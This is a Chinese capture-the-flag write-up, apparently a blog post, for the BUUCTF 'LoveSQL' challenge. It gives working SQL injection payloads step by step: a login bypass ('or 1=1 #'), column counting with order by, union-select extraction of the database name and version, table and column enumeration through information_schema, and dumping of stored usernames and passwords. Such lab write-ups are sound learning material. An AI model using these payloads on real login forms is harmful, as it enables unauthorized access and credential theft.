BUUCTF-LoveSQL1

1、查看题目

发现是SQL注入的题目,首先尝试万能账号登录:

使用万能账号可以成功登录。

2、联合注入:

(1)在成功登录的基础上使用联合注入语法知识进行,首先使用 order by 判断字段数。

(2)测试了几次到100也没有爆出字段,也将#进行了url编码,更换万能账户再次测试,测试成功。

万能账号:username=admin ' or 1=1 #

密码:password=1

payload:username=1' order by 4 %23&password=1

在测试到 4 时出现错误,所以得出字段是3;

(4)查看回显:

payload:username=admin' union select 1,2,3%23&password=1

回显结果为第 2、3 字段。

(5)爆出数据库:

payload:username=admin' union select 1,database(),version()%23&password=1

得出数据库名和版本信息。

(6)爆出数据库的表名:

payload:username=admin ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

发现使用admin用户名时,不会爆出数据库表名,因而需要更改用户名。

构造新的payload:username=adminn ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

表爆出成功,发现两个表名。

(7)爆出表的列:

a、geekuser:

payload:

username=adminn ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=1

未发现flag。

b、l0ve1ysq1:

payload:
username=adminn ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

发现和geekuser列名一样。

(8)直接读取表的内容:

a、geekuser:

payload:username=adminn ' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

没有发现flag。

b、l0ve1ysq1:

payload:username=adminn ' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag。

  • 45
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值